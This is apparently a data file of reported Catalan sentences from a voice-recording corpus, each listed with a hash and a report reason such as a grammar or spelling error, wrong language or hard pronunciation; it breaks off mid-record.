eec01b91e4834b29471d7fa1249959073bb1bf03b1e26777cd0bb25af4f25656 ca grammar-or-spelling És possible que una oferta forta deixi glaçat al teu company. efdbb7a3b9d2479365c42fd109b2d0ee7bbf784ea5af1db19ba1d51059ca2c9a ca grammar-or-spelling Roman glaçats des de finals de novembre a començaments d'abril. eff31b0c1fc37260becbc196e06cbaebfd20ec43341292128408d7bc34ef3d48 ca grammar-or-spelling La dona en roba de colors brillants és ballar. ebfae7072918952a17cf44075f605f403874a0a4c5875cb4042949819f743c04 ca grammar-or-spelling Per què, aquí hi ha una cosa extraordinària! f053dc3e655b1ee348b419d24ff9371d260783ede518da4388ee1e2578daf0cf ca grammar-or-spelling Cicero assenyal quan li serveixen el seu treball i els seus estudis. f07344634fbee7de005bc0149da748ad22e86f4ed331a424ac09dcb0bdbc6754 ca grammar-or-spelling Va ser un prestigiós pintor encara que va arribar la fama com escriptor. f06fa2a20283a375293ed6d5db8ed490587f470d941ecd99f410b02da548fe59 ca grammar-or-spelling Inicialment es publicada cada tres dies, després va passar a ser diari. f0b1c896334639fe906da0e103bace33cfffbcdf93b81913891f6eae6fc83fba ca grammar-or-spelling La Universitat de Ryerson està situada a Gerrard Street East, a l'est de Yonge Street. f06ba690ed144214be1a3898061e01a6101c0db4f7448eb2f82aa6827b4b7b2f ca different-language turboreactors, turboventiladors, estatoreactors, motors per a coets, etc. f08dd9e9091f1006fdc3dd5ff957f51283bad7d5eed6b3d03d71dc69afec9758 ca grammar-or-spelling El segon llibre de la sèrie porta el títol "Dogby Walks Tall". f0a29075de5d20e27d8164328db7fe1aeb9230053de0f766f4d9a9510be5a58a ca different-language Gannon continua amb el seva estratagema i se sent atret per Stone. f17ad6110320586d13fd305b881ba135b53ecd09e02e4825f6b1c5c56450d555 ca grammar-or-spelling Altres bandes notables de Baz Barrett inclouen Intense Degree, Riot Squad i Crippled Black Phoenix. f19849e4958d80d2b0120a5aba3d8c6a354968adbb2e5837a7c161f4f056ed8e ca different-language El Vecht també desemboca a l'aigua Zwarte. f1c8a8f02d712bf4f947c8b4a891b85109e6571bdc39b4d212d9d3318a08397c ca difficult-pronounce No és verinós, però és un bolet comestible molt mediocre que no sol consumir-se. f2be000812b8f7fda1690c54ced096cef625563c37f6c99cd072df6b87a92de6 ca Diu que és massa curt Els esculls de coral es veuen afectats per la bioerosió, la fricció i les espècies de peixos que s"alimenten l"algues. f308058648310d46e7378961fd8c1a4d87c5f0e236cf669eec73ed3fb5060a49 ca grammar-or-spelling Tomàs Buxó i Pujadas va ser un compositor, pianista i profesor de música catalán nascut a Barcelona. 16b1ea2b11386d7d2ca2a2306a83887ac4d4f87eb23fb493e1294964b8c18b51 ca grammar-or-spelling Albert Espinosa i Puig és un escritor, actor i director catalán nascut a Barcelona. 161083e236f6aca211e1324ec424a33a0215770da8f652c953a652ff5ba81dd6 ca grammar-or-spelling Alfons Jiménez Cortacans és una candidat polític nascuda a Sant Julià de Vilatorta. 2e269049beb5f0960f103a62169afc55fb99909f104ca5179ae6687277401856 ca grammar-or-spelling Maria del Carme de Sojo i Ballester va ser una membre del tercer orde laic dels carmelites nascuda a Reus. 32f205e7a31646e44b50e1b8e58438def5aa677e153c5241abdc8b1ec9929226 ca grammar-or-spelling Raimon Casellas i Dou va ser un escriptora nascut a Barcelona. 4a08af7c54d885366a3ff6c8e4bc86224a635c3b19a651405031b876067d34c4 ca grammar-or-spelling Raimon Casellas i Dou va ser un escriptora nascut a Barcelona. 4a08af7c54d885366a3ff6c8e4bc86224a635c3b19a651405031b876067d34c4 ca grammar-or-spelling Josep Carbonell Alsina va ser un esciptor i periodista nascut a Reus. 4c24ac950cbf07bf4df0fa206f1c9baf522d8fd05b7522ccbc102f129d7af39b ca grammar-or-spelling Mar del Hoyo és una actriu nascuda a Barcelona. 519488de6420f1eae2accb9976f7bac9557565dd8b9033765c8c8fe4fa181f66 ca Està repetit Mercedes Erra és una empresària francesa nascuda a Sabadell nascuda a Sabadell. 60a9503f3c6053d87e88e252a0567c8d8506ab5e764e1eda9305d11ef843e6fe ca grammar-or-spelling Maria Corte Maidagan és un il·lustradora nascut a Barcelona. 5a59be3aaee6fc48bc1a7eebb3a66b487900c4840020d7290138ff5bf0473330 ca grammar-or-spelling Si no tenim més tresor 79fb9ac2d4554466682de81e5f4c967d2a34033458630b6c35d3786487231785 ca Falten molts signes de puntuació, sobretot el punt final. Pablo Gomez-Marttila és un futbolista finlandès nascut a Barcelona. 71a5e9e2cae5339f0bdc021b8668decc13f65e020ac5f9b6544c26593a055b1f ca grammar-or-spelling Àngels Gimeno és una escriptora, castellà i nascuda a Barcelona. 7995d5b8b481d2d094f39f120bc625176150e700539a26c281dffe2d15e4347e ca grammar-or-spelling Àngels Gimeno és una escriptora, castellà i nascuda a Barcelona. 7995d5b8b481d2d094f39f120bc625176150e700539a26c281dffe2d15e4347e ca different-language Josep Maria Ferran i Baqué va ser un prevere i enginyer nascut a Q23995830. 7f8ab913b32381c5df7b28abe1191cdb52f06ea30cec228994178371079c1387 ca grammar-or-spelling Albert Boadella i Oncins és un actor, dramaturg i director Fals polític nascut a Barcelona. 7f9fbe2caa334122fb1e227151068d72a9db84c83610b23c4f2cb96cc77eeaa7 ca grammar-or-spelling Llimoo és un raúl Morillo o Llimoo nascut a Barcelona. 87e5540aa14aad7fbd92f5922e46456141d5b78693b226ee0d96cd48bd61f850 ca difficult-pronounce Núria Delclòs Teixidó va ser una pianista, concertista, pedagoga i promotora cultural tarragonina nascuda a Tarragona. 93b531940778d4fe898b0649408e9f16b327217c4a68eb8d1c020b43badf1ed5 ca Massa ñlarga per enregistrar Margaridalias i Casals va ser una soprano nascuda a Sant Julià de Cerdanyola. 8e45c60601fae06612a1acd6a85921ba06cc8715bb0e7927e58cfedeb39b5097 ca grammar-or-spelling Troba'm aquell email sobre les humitats del wc. 1893ee14a95702176ad7d2d30e9de291e8d09026553fdbe949696374b1f6386e ca grammar-or-spelling Jo somie, segmente, puntege, sobrevinc, ruboritze, oxigene 38ac66e5784179ff64741003f61282ee6964f88ed372b2617823185455a45e93 ca grammar-or-spelling Jo aclote, atomitze, balege, blanquege, acampane, ahuixe 354cfca9d9b348f57f7339083a308050391d1de036de4a00cdfc3a7c1e53f36d ca different-language Jo mesquinege, tercerege, plagie, personalitze, objurgue, recombine 50a514ec648204ed2459a5940fb701b6b854e70edbd7daee0d7d09acfbdd7f3e ca grammar-or-spelling Frederic Marimon Grifell va ser un dirigents esportius catalans nascut a Terrassa. b91174a4f7f85e93a968ffb7c4d7f79b579a8fa6d81b95dbead4d3cb23208220 ca grammar-or-spelling Eduard Martín-Borregón és un periodista catalán nascut a Terrassa. da71d5ab8e3670c32bb9499257fb0db2a6bfe7ce227524ffee4ed3c4ea80afec ca grammar-or-spelling Maria del Carme Queralt Tomàs és una antorpòloga i museòloga nascuda a Tortosa. e41a2109158dafceb6189aededf790eaef8b31706406cfe7823e4bcba22afd4a ca grammar-or-spelling Jaume Escala és un intérpret musical nascut a Barcelona. dd26d4382305e541c3e259514195b253b7eb63c9771298dcfe0f24faeebc98a1 ca grammar-or-spelling Josep Lluís i Cortés va ser un entrenador de basquetbol nascut a Badalona. e85e9b9418cd59addef9b5b20447f779ee9072cfad49ff11dc080cee9a0f286a ca grammar-or-spelling Sílvia Bel i Fransi és una poeta nascuda a Barcelona. e3f2869185522871d6cf01570e9a47bc9c8b6d2158c9161915cab519e8e54029 ca grammar-or-spelling Joaquim Aldrich i de Pagès va ser un polític nascut a Vulpellac, Fonteta i Peratallada. ebd04a68e9626da8aa4af34467c2c87580851a7af7d4836dbd15fd37df99e69f ca grammar-or-spelling Berta és una intérpret musical nascuda a Premià de Dalt. f210649d182fc6ba967693bafd4f58b0f58e115d4712373448f257deb17c808e ca grammar-or-spelling Manel Lacambra és un dirictor esportiu nascut a Terrassa. f126840e4a35fd0b9e65fcc062f302702a0355e372d8a6af8d6b81005326bae0 ca grammar-or-spelling Hi havia dos formes de "jagir", una condicional i l"altre incondicional. f3dbea3f1f0a2fdc4e8cdd2368ff624a9da433a512921f79d857e03e4022c640 ca grammar-or-spelling Una jove en vestit de bany verd sent esquitxada amb aigua. f3c497e52ec73f9ea5153e0defce4d8768cfaf071a634420a63149d39ae1ae48 ca Frase sense sentit A vegades el mot es va servir per descriure una multitud confusa de gent. f3f251e984302628f15e732a29ba3edbffc97c5c4c348a76a49483d736ed3a2a ca grammar-or-spelling "Dolphin" va romandre a Matavai Bay a Tahiti durant més d"un mes. f409b5c8e777aed952407b6179eb7767e50b11d0684c3b119cf5dd41cc61905e ca difficult-pronounce Durant la Primera Guerra Mundial els soldats van fabricar filferros concertina ells mateixos, fent servir filferro d'espines ordinaris. f3e43cc333d34488fbcc8ac48c06493d918324a68fb50c267eaf03a629fd07ba ca grammar-or-spelling El motlle es manté tancat, mentre que el plàstic o la cura de goma. f40ad05cf522cfd348e003a6dd6fabbb9c32cd331553cccbf01f322fb7f5b02e ca grammar-or-spelling Laura Fernández és una periodista i escritora española nascuda a Terrassa. f3e806e73c354bea9874bfd9da767b58be6be7e4e4580fd52d0b610909abfa98 ca grammar-or-spelling En el seu vessant més modern, renuncie a una estricta jerarquització. f419cc91cbfac07c29f07d9fab17e697de7d147902df1baa32b0212bd7b1bd43 ca grammar-or-spelling Dos líders del mateix tipus no poder coexistir al mateix regne. f400069f09cf083dcaa31a5a62ae22bab833a202b166c043d6d667987db5e748 ca grammar-or-spelling A partir de l'any següent, es corrien de manera anual, al mes de novembre. f3f91865ec15433176a97288f0ff60c2f3dec1306292d7d10a329534bf763385 ca grammar-or-spelling En total, Jizang escriure gairebé cinquanta llibres en la seva vida. f439bb063b88e3b7ce1bbf2834f9c958653d70c8b3fb4e5db395027abc4d0bb8 ca grammar-or-spelling També es pot extreure, a part d'aquests minerals, de l'aigua de la mar. f3f74c9d1e70f9858799693061dc102c89d61cd210c261101afa75a88fabdc36 ca grammar-or-spelling Simone Lovell és una actriu britànica nascuda a Barcelona nascuda a Barcelona. f4887a967d618d54cbce2719e35b51321a9be3ac9f5df7498b72fd942e649c03 ca grammar-or-spelling També obtingué la titulació de visitadora social, psicòloga a l’Escola de l’Hospital Clínic. f50c690c697dcd349a4730530243c7ccadfec7007421a70021686b2b87d5376e ca grammar-or-spelling Ha finalitzar un diploma en periodisme del Trivandrum Press Club. f4f479c379a04f297f08dcb9433d9f53a745c063d2af3f492bd62fa6b87fe5f6 ca grammar-or-spelling Els empats estan ordenats per any, les més antigues davant. f547d613367250e2cd578cfb113bcfa55117e1bb5275b08e05221721166ecada ca grammar-or-spelling L'arcosa sol ser de color gris cap a vermellós. f542676616ed1906e23f459ab6feabc82c613aee7b920de24f3c4a0e25dd7e06 ca grammar-or-spelling Per no tenir pena ni gloria f550201e5a8ba82215e8263d17843a0b7253c57a1dad2a6922bc05ad1a5783e6 ca grammar-or-spelling Les emissions posteriors de bitllets tenien la paraula "excel·lent" ratllada y després es va eliminar completament. f570547e6d7ca3090a15140874727c21eabb7bc38cbc865cfb15eed4e59402d8 ca grammar-or-spelling És la casa de vàries persones. f56a8f96de328df0a92d67266959fed24ea4f48a94b85e569e870295a7a2b432 ca grammar-or-spelling Pedro Rodríguez seguí aquell el corrent internacional i inicià el període més esplendorós. f5ac1a843e64a676f6b9a639e9bc18f3ccb20133cc44fb47b27926f5c33ed02d ca grammar-or-spelling I és representada sovint en l'art indi. f5d52fd0c4a462f9bd0f59950e083817ebd36f4a04d242e40b9b7cd23ed6b7f9 ca grammar-or-spelling Tanmateix, en els seus començaments no va ser tan ben rebuts com hagués estat d'esperar. f62899a5c0dd2f33c7974e2a9db311c04eb332243bfea47da6170361e1314bd4 ca grammar-or-spelling La roba es va assecar en un estenedor prim de fusta. f5551879d7728ae1d079c55ccf39d4be6fc82b5450ccd71efc9250ad1b73f708 ca grammar-or-spelling Un home pujat a una escala recolzada sobre un edifici. f6819d2dfa5ebf1c5547e852e944843643ccdbb223b806c3652edaf861bad035 ca grammar-or-spelling Són uns dels pocs mamífers monògams, fent-ne un grup model per l'estudi de la monogàmia. f696afb60323575248f247be937ba686248864af811244b81aaa1cbb06854d40 ca grammar-or-spelling Al damunt de cada porta hi ha un arc guardapols sostinguts per capitells d'estil goticitzant. f6e226c679f8dc4d3d7166998a84fd774cc88c68eba2ebcedd607444fc089ce1 ca grammar-or-spelling Kant: racionalitat, llibertat i dignitat; desenvolupe l'idealisme transcendental. f72316b9a616cf60947ea023d1749b65449d4881d83221e37440054381fa6950 ca grammar-or-spelling Alguna persones van córrer millor que altres. f77185acd708c0858759dd337798aeeff026e5458cbe83bc0277feabdb74519d ca grammar-or-spelling Actualment és considerat un dels artistes més grans de la civilització occidental. f7789cbb2d7c4211af616732b1d53467cc595e6e74236da838e31ab2c88eb105 ca grammar-or-spelling Agafa'm si us plau l'espectacle Stories from the English and Scottish Ballads. f7d56f7f1bb98c8a092127a4c8eef69d830253d970557c24ee710fe74bb6cf81 ca different-language Agafa'm si us plau l'espectacle Stories from the English and Scottish Ballads. f7d56f7f1bb98c8a092127a4c8eef69d830253d970557c24ee710fe74bb6cf81 ca grammar-or-spelling S'accedeix a l'interior del temple per un lateral, amb un atri construït en època contemporània. f7f47e850c76e5411355fb0ca975dcb39a88e71b3b6f391a97f5c434f15dcf59 ca grammar-or-spelling És a l'extrem occidental del terme perpinyanenc, a prop del termenal amb el Soler. f82222aca2c9242d751c9277dd40bda41268b030070badb1852586847f8aec67 ca grammar-or-spelling Els membres masculins de la Casa de Reuss s'anomenen Enric. f80a5f479c9b76302df0b62d0ce5cdf95796ba9a113af88f62c58b88cfaca949 ca grammar-or-spelling Formà un gran mig del camp al costat de David Casamitjana. f7e4465614bc0ce0db6e0591c317144e6f59dee8117d1a654d54908656291491 ca grammar-or-spelling Va destacar per la reforma d'educació per als joves, especialment els programa d'educació professional. f7f6b5d30306c4cdbb65ea041f8296418a8d9ce15102f940b68fb4aa623f29a7 ca grammar-or-spelling Com el setmanari és gratuït, és finançat sobretot per publicitat. f8918b58845a770a1f8edf3edc224d1096e299aced13c84476ddd5a2fdf673cd ca grammar-or-spelling En lloc d'això, va suggerir que estaven oberta a la interpretació. f86f56dc2bf993e97a83a92fd5e52f8c9c2cc25b451ce69b7cf7662ce758e86b ca grammar-or-spelling Anal petita. f898e35625d2c71e7373aa17bbd4c1212235d9a1df25521058f64ee67ef8f1e2 ca grammar-or-spelling Finlàndia té dos llengües nacionals: que són la llengua finlandesa i la llengua sueca. f8a084b60d1b0b7d6829aa0c1e3dba3c3ce527dbf2095275dff2c5c5c69091c7 ca grammar-or-spelling Habitaven entre arbres, pastures i qualsevol lloc on hi hagués abundant vegetació. f8e79e47b2def051d75262b28061f3040828b34a48594dd3cc303c855827ad65 ca No em queda la veu gravada Podria afegir una aplicació mòbil a la meva tarifa? f911e2810daa1cd4b2808563e1efc08e5b9e293500e971d2ca5fe4eb0915ef54 ca Em diu que el volum de gravació és fluix Molt característic d'aquesta desfilada és el so ronc dels seus tambors i les seves fanfàrries. f92cc2f95ab6aa3414778de4e719fe6ac50256149be1eb60a81087ca29a56726 ca different-language L'edat de maduresa es defineix a través del cos de ciutadans. f96c75db622e0b1458d2eaaad54a3a7edef0d02889b29c4126a1b00171b25246 ca grammar-or-spelling Els cabdells eren flors conegudes pel seu cant. f92fbba466fb8bdcb2b88c9d31138a278a0fafe8f06f9bbb12c5b35bb83e7c89 ca grammar-or-spelling Per retenir la seva estima i la del seu avi, Llàtzer es va allicar a l'exèrcit. f956d848fa87261e11a8e8fc88070f1ff8bf2d7b0afaacc3dab38a176eedb8f1 ca grammar-or-spelling Per retenir la seva estima i la del seu avi, Llàtzer es va allicar a l'exèrcit. f956d848fa87261e11a8e8fc88070f1ff8bf2d7b0afaacc3dab38a176eedb8f1 ca grammar-or-spelling Six dels guardonats també han rebut el Premi Nobel de la Pau. f97e91d6a770c5e3d6551bc440294ba8052a71b4867e3103c7f71e90127a829a ca grammar-or-spelling Una bonic salt d'aigua amb dues persones caminant a la carretera que hi ha al costat. f94e4daaf45dcf8c78b570b4be52fe95e5a4802ef025977974d269cfb2054ab2 ca grammar-or-spelling De l'altra, hi ha la vall del Callau, del poble en amunt, cap al nord-oest. f986942adea09353aa6c6e7c491d1283aa21f641db8d69a776690be858b6c008 ca grammar-or-spelling Els productes hauran distribuït en farmàcia i la prescripció hi haurà reemborsat per l'assegurança malaltia. f9773a85fb9b002f20a11ff13a66c3b84764d67636e925aaacd2ab26b548ee0f ca grammar-or-spelling No soc responsable davant el Lord Canciller. f9ef42df27c1629b5ffb99f8a6a7fa512e6f4ead71192e35adbf99790fff42a0 ca grammar-or-spelling En cas contrari, el president d'assignar la formació del Gabinet a un altre candidat. f9f98dc090d41411387356f8b6dcfb185bd0c96b84851b2a445855efb92a278b ca grammar-or-spelling No obstant això, aquest va ser l'únic mitjà que va tractar i parlar-ne. fa2395b9f18ff595d7a74b6f6bd2ee84ebfbf8952286864cddc4d147538e4feb ca grammar-or-spelling També migren en esbarts mixtes d'alimentació amb furnàrids, tàngares, pícids i cotíngids. fa318578d061085209d0c09fa72e301def514112d24edd37a6171279f6d296af ca grammar-or-spelling En cas contrari, el president d'assignar la formació del Gabinet a un altre candidat. f9f98dc090d41411387356f8b6dcfb185bd0c96b84851b2a445855efb92a278b ca grammar-or-spelling L'estiu el cabal del Mosa sovint força baix i no es pot captar prou aigua. fa4133dcb0375030113671d9218d417e48bc9b28533647f0c674409f6541a89f ca grammar-or-spelling Va estudiar a la Universitat d"Atenes i a la Universitat de Chicago. fa327ef32150254da29bab6756d1bcad16c852787e14d4e182d2066f42b9dcfc ca grammar-or-spelling Durant un temps, el poder incloïa un tensioactiu basat en taurate. fa3063b9bbfc520681030311cff69d2ac320e1b9df9fb69522fe26e22531f0dd ca grammar-or-spelling Va arribar a formar part de comissari polític de l'Exèrcit Popular de la República. fa4c029e6b19e4058735da2b185ea9317bd6e83da6d135103897d804fb865a69 ca grammar-or-spelling Els animals perillosos i hostils augmenten més a prop del sòl del bosc. fa24d25997d709a749490ae9a61910cd043d5126c0553ea60ed7a616c7803c0a ca grammar-or-spelling Això va resultar en la mort total de dos milions i mig de persones. fad8b99e7e4c480f08a341587ed52fa883f107f738bb526d208340a7be46c0fc ca grammar-or-spelling Li van informar de la situació desesperada de Srebrenica i dels enclavaments bosnians de l'est. fab8ca2624963500dbeb03a92b95045837466b53ced26ad256349576bba23689 ca grammar-or-spelling Està centrada en la morena terminal que recorre tot al llarg de Long Island. fac601031da9e53e5ef0c00a669a2537de64dd1db0b740b74896e35dabef274e ca grammar-or-spelling El creixement del past de sorra es veu alterat pel transit humà i animal. fb5fdce889a9661d7e5d9e11be3d8926956bfdd6398c31ddfc643d21a5e4b059 ca grammar-or-spelling Són dels pocs gegants antics amb el cos original. fb83d61fd6dc958114505657904166f9f2d7a6e5efc89b34e47cfb23b6e2d324 ca grammar-or-spelling A la part superior de l'escut apareixen les armes dels Sanç, antics senyors del poble. fba84e870cd3b9535626779e69014ba8ae81d240c09e1add732f686f254e7d18 ca grammar-or-spelling Ballarins de diferents edats són a l'escenari, les nenes petites van de rosa i blanc, i les més grans van de rosa i verd i sostenen llaços, i les nenes amb pantalons blancs porten la part de dalt d'estil asiàtic. fb59b4772236fdd6b5b3e175131c5d3c6c25a5c4fd62bcd14fed37cd34662666 ca Massa llarg Aysha Daraaui és una actriz española nascuda a Barcelona. fbbe2deb4560ead2753778ac20ceabb6984c114b9c14c0f2832379bd728b7ad9 ca grammar-or-spelling Està situat en una petita plaça a toca del carrer Consolat de Mar. fbe2e4eec4af34bfcf0a70709356c37c8f94bb06d636da84a7b4c0a891c63c22 ca grammar-or-spelling Aysha Daraaui és una actriz española nascuda a Barcelona. fbbe2deb4560ead2753778ac20ceabb6984c114b9c14c0f2832379bd728b7ad9 ca different-language Susana Seivane és una gaitera gallega nascuda a Barcelona nascuda a Barcelona. fbf58891e30f88ebe3d6e6b9fe2d87ade2f457ec44bf211689ba07cf80ada7a2 ca es repeteix També en sèries de televisió com Sabrina, la bruixota adolescent. fba22ea58bf8cc5a204ff5e616e7f20910b9907af03c89d299dc763baf8a95ef ca grammar-or-spelling Va rebre dos Oscar al millor director. fbf0e1c7e5b9494acd2d81cf969502d5f7672ec1c9afe49bebd21b0af01113e8 ca grammar-or-spelling L'antic sostre de bigues ha estat substituït per un de nou ciment. fc0029487d13b8884e1b671033d1068f38d3656352b9f91f5d84f8d155b8b0b7 ca grammar-or-spelling Amb el pas del temps el suro ha canviat per altres materials sintètics. fbd613c27b351dddd2304667c8b073d703fed48837943ea49d3f59e9c75b9dcc ca grammar-or-spelling És un entorn de programació ideal per a experimentar, l'ensenyament i per aconseguir prototipat ràpid. fbcac921ca9f0ce1563aff4f6884b3fbece0837f4715a5344699aebc387b1e18 ca grammar-or-spelling La superfície basal és força irregular i no presenten làmina basal. fc11bd7f4c82d5451a88743e3b7adbf92a5e87e21a99234f4b98ce988588b314 ca grammar-or-spelling Tenia la roda principal estàndard fixa i el tren d'aterratge del patí de cua de la seva època. fbe43e0510d8eaa0d11d33b6647d9eaea03bbdab6eaf877901bc2bc8b058eca7 ca grammar-or-spelling Las major part és estèril, però té una mica de vegetació dispersa. fc05df1fa911c604e65cf0927e6cede5da65c0bf52a14710a15802cafd4c6585 ca grammar-or-spelling L'Scott és també un Ambaixador per l'aprenentatge a Austràlia del govern australià. fc1ff0128ccfa489c22f2c158d67c2f49791d3086d10ff8472bd4e682c09c177 ca grammar-or-spelling Un home amb una samarreta blanca i casc es troba en una bicicleta de girar al voltant d'arribar a la seva bossa de Sella fbd0f670a138caa98b20503aa9d6b4a86bad9c9b905654842a7a546776e27237 ca grammar-or-spelling Durant aquest temps va dinar classes de gairebé tots els temes de les matemàtiques. fc58cfe31bb83c19699c3b56cd9b6ad82d882ce683faa7538958055a068a9082 ca grammar-or-spelling Això és perquè la segurina ajuda a doblar correctament la separase en la formació funcional. fc61f1289f51a685208087172d62579e04b9b10d23bbc6c81ffb77812841a1a3 ca difficult-pronounce Després de la Llei de Finançament Estatal de Cultura Física No. fc998de3cfcab3bfcc0ae37a064a7dd213c683e64db86b8678c957909f0b43c5 ca grammar-or-spelling Slaughter a Royal Rumble. fcb7fc7eaf42d1536349b226617d3c08e915e589dbc57d42693edb623a3a6d7e ca different-language Com ha succeït hui a la Sala de Plens de l'Ajuntament d'Alacant. fd1954dd727e1253ab6424d82e1deae35d042a36cfca5e2ad2f36f8bb467f496 ca grammar-or-spelling El crani era petit i les mandíbules presentaven petites dents còniques i afilats. fda02e00f4a2393ebe901ef9b845d5a47a2d793aa19c990e7af6ad8e2d3f5f72 ca grammar-or-spelling Aquesta és un gran portal dovellat. fe462a6ac0809c7124385c31d0c038a0c1addc17bc88d18dbb282167a721873d ca grammar-or-spelling Els resultats d"aquesta votació encara no s"han publicació. fe3ad96325c319dc0e305c88bb3e8ace23f5a493fd3f6cfe749454cb38a63335 ca grammar-or-spelling L'exèrcit espanyol va interceptar a les forces de Maurici obligant-les a presentar batalla. fe26daafa08eaf1526f9e0b939fa9f850fb1d36e05531b69d57feb24364ac04d ca grammar-or-spelling La comunitat manté els dispositius Linux també estan disponibles. fec9574c8ddf43f01ceb46ed58dab3f074b0f894540e7ba56d3d78d8a8ad6c69 ca grammar-or-spelling "Never run a changing system." feabd5b43a489c314a62d68cc5dc73857c976b4dfabf18b91cfc2a099da09b63 ca different-language Un cop retirar entrenà diversos clubs modestos catalans. fedea33fe253428de802e799ef29ef97d89760e65d9d3c6b9f21739540fe1ce3 ca grammar-or-spelling Aquest càrrec l'ocupà fins al moment d'assumir la dedicació exclusiva del càrrec de Batle d'Algaida. fecc5003f9b780090a576678adc0195571482ff3848fd3ab51782f825f825db8 ca grammar-or-spelling Principat i País Valencià fracassen en la lluita contra l'atur ff0dd439408b73e4071f3e719a846f86b2de48d03266bdfa095eeaf900bc6e3d ca difficult-pronounce Quan l'energia era desconnectada o després del programa ser executat, la informació així entrada desapareixia. ff6ff0df8d1ecef8b0e82349a67a8ea1e591a0ef7c14b034b3f3454a2df3140d ca grammar-or-spelling Un cop retirar entrenà diversos clubs modestos catalans. fedea33fe253428de802e799ef29ef97d89760e65d9d3c6b9f21739540fe1ce3 ca grammar-or-spelling Un home dorm en un banc prop d'una parada d'autobús. ff9999a00436fcde4af4f22d5291118df0d2a32c53168e2865215d43cf3224c0 ca Perfecte El successor de Glendening, el governador Robert Ehrlich, va aixecar la prohibició durant el seu mandat. ff7cb761711cedf53fab14280b6fef8fce2d47c77082d1dc7df6d355ef3a6a4d ca different-language S'hi van celebrar incomptables concerts de rock fins a la finalització de l'Alltel Arena. ffb59a7f491ecc5057415afecaccb748585df2ce03a9f9bf9959ce4b2f21e51b ca different-language S'argumenta que la bona governança és el que més importa en els governs locals. ffbccacbb9a2d2a9505898a2fdf04d710bcba9871ae4fc2e0c60949a7dae9deb ca grammar-or-spelling Es troba al nord-oest de centre de Texarkana. 00298d1aa09d7ddddebe6ae5ef975f0edd3bbbf3ea509d7961977ffc70ee524c ca grammar-or-spelling Va néixer a Manchester i es va anar a la universitat de Clifton, a Bristol. 0024fc8e4f3815d9fc1760f88b0e073facf299484d83e26ef8bfb618f0b2e9c9 ca grammar-or-spelling Ex: ffae43b986b2920cc80a1fc1dac2a562eed76da16e3f64f1a87928326748a40e ca No és una frase completa Està delimitada a l'est er l'arc de l'arxipèlag de les Antilles. ffeb74dbc515af263e920df47fc056ece630fd006e7e942fc0224f18cec13332 ca grammar-or-spelling Es tracta d'una parròquia d'hàbitat dispers, pràcticament sense nucli urbà. 002679d609ffd5af82a5446db4a52c8d838252364453cb41efd0e7541a65aa67 ca grammar-or-spelling Va ser custos rotulorum de Worcestershire. ffb4d3fd2ce12049e727b9c4ec45a55f37786ce60b4e9e16fa0dda104b4ead36 ca difficult-pronounce La punta de elèctrode es fon lentament com a conseqüència del contacte amb l'escòria. 00154caf53dcf383d44a553334dc4233468372b8be4a6f58ff35542834461d8e ca grammar-or-spelling L'Abadia va llançar diverses atacs a Unterwalden per donar suport a les ambicions dels Habsburg. 003b4efcf6a9e1556377bd28bc06a43de881ee864c979ae7ff2614e4b92a6e3e ca difficult-pronounce Formes de vida com els peixes i invertebrats també han reaparegut al riu. 009c8f0b2e254578e9c76263cd9fe50c6398391301d43c7b0fc0def9f439a45f ca grammar-or-spelling Hu va rebre la seva educació fonamental a Jixi i Xangai. 00b220b7608e4776dcb4060b7f2c7c9d932d7462f640f0111f53b51fd276d8f5 ca grammar-or-spelling Un altre, George Yelverton Julius, era conegut com a "Gentleman George". 00d1c2a2c7e3c8c9741db4c234114ddbfe8a520983f51f8a78bce72b1d30b3cb ca difficult-pronounce Una acadèmia d'arts, Periyar College of Arts and Science, està situada prop de la platja. 00a4fa767be3eec50e5b620efba291f7379a51cefe264d8f11b5fbcd230322e6 ca difficult-pronounce Programa l'aspiradora per a dos quarts i cinc de set. 00ece8f5fa9d13fa25a993eab9af91cd80c29d2837bf5956d809b8330bc83486 ca difficult-pronounce Y, en aquell moment, la cocaïna es considerava inofensiva. 00f3e96680e69066d2578ac95ff9d99fcfeda587f2ed4bcac78384b7415acb4c ca grammar-or-spelling Tots els còdecs esmentats amb anterioritat, contenen un mecanisme intern que permet incloure metadades. 00d469cdf3de6c525b2988618e887131c3e418fedf0c45ca32c052b745ec9b57 ca grammar-or-spelling Nasqué a Màntua, fil d'una família de sefardites de Ferrara. 00f8ebc152954d6232dbcd0d178c34940ed7eafc19b2fbd1e594df00b7f68691 ca grammar-or-spelling Durant la Guerra Civil es va veure obligada a refugiar-se en Lapurdi. 00bb6a5fe0f4f9acd574f5caa84152e2d28a64054e0f83d25eb35e3521f2aeec ca grammar-or-spelling Tenia molts, molts nets, als quals estimava moltíssim. 013dffaa63103bdae994055937741400e7d2137fa75145baa82f135106da9e56 ca grammar-or-spelling Nasqué a Màntua, fil d'una família de sefardites de Ferrara. 00f8ebc152954d6232dbcd0d178c34940ed7eafc19b2fbd1e594df00b7f68691 ca grammar-or-spelling Aquesta notació por ser, com la música dels pentagrames tradicionals, un sistema gràfic compassat. 00ff813ffc73e4667be6e0f2ff00aec9e903fe71f1ee9fe64cd8e6fa340e97d9 ca grammar-or-spelling Quan havia acceptat, he va dir: "Ah!". 01a8310705d2f1334e0a5626f64e72aa5951cfd4a12f82336853801dbc21ae39 ca grammar-or-spelling El contacte amb la famosa contant i el famós autor l'ajuden molt artísticament. 019ac8a7be1fbc4a28c31a1ce473b591a4fbbff3c9f66868957863693fc2650a ca difficult-pronounce La recomanació que faria als venedors... tal com he suggerit abans... acceptar les dues variants. 01222defc711b2d9aac79cdee1bae2abe2b06015e8de9146c863bd1bf2e81e3c ca grammar-or-spelling He d'anar a Santa Margarida i els Monjos amb trasport públic demà passat a la tarda. 01aa3d27c97646d582582fc7939b0527a74d278d683f423feb1c6a70d12c3cbf ca grammar-or-spelling Així, els algoritmes asimptòticament òptims no sempre són el "fina de la línia". 017f53194ccab619560e117d622be2e880e2b1b538838e005967ba4d15d706cc ca grammar-or-spelling Va realitzar el seu doctorat en sociologia en la Universitat de Chicago. 01bfa378660fe2ffe0e5c1b2fe176b6408ae739449c15315e3cda144b51a6bf0 ca grammar-or-spelling Gos blanc i negre sostenen una pilota de beisbol amb la boca. 01c86f0c9250e5e47887ec5eeca5187dba013c28c869db64d7abee72df17f742 ca grammar-or-spelling Aquests mètodes poden ser passius, actius, o els dos. 01a42d2ff7cdb7982676114c0f02f1c641e4602c1c2abaf36c43c5e6cc0a530b ca grammar-or-spelling Avui en dia, aquesta presó es classifica com un lloc històric especial pel govern vietnamita. 01b516be5374ff578bc31fa50d78690c05d2338dbb8c4d716332484527e03c37 ca grammar-or-spelling Un grup de 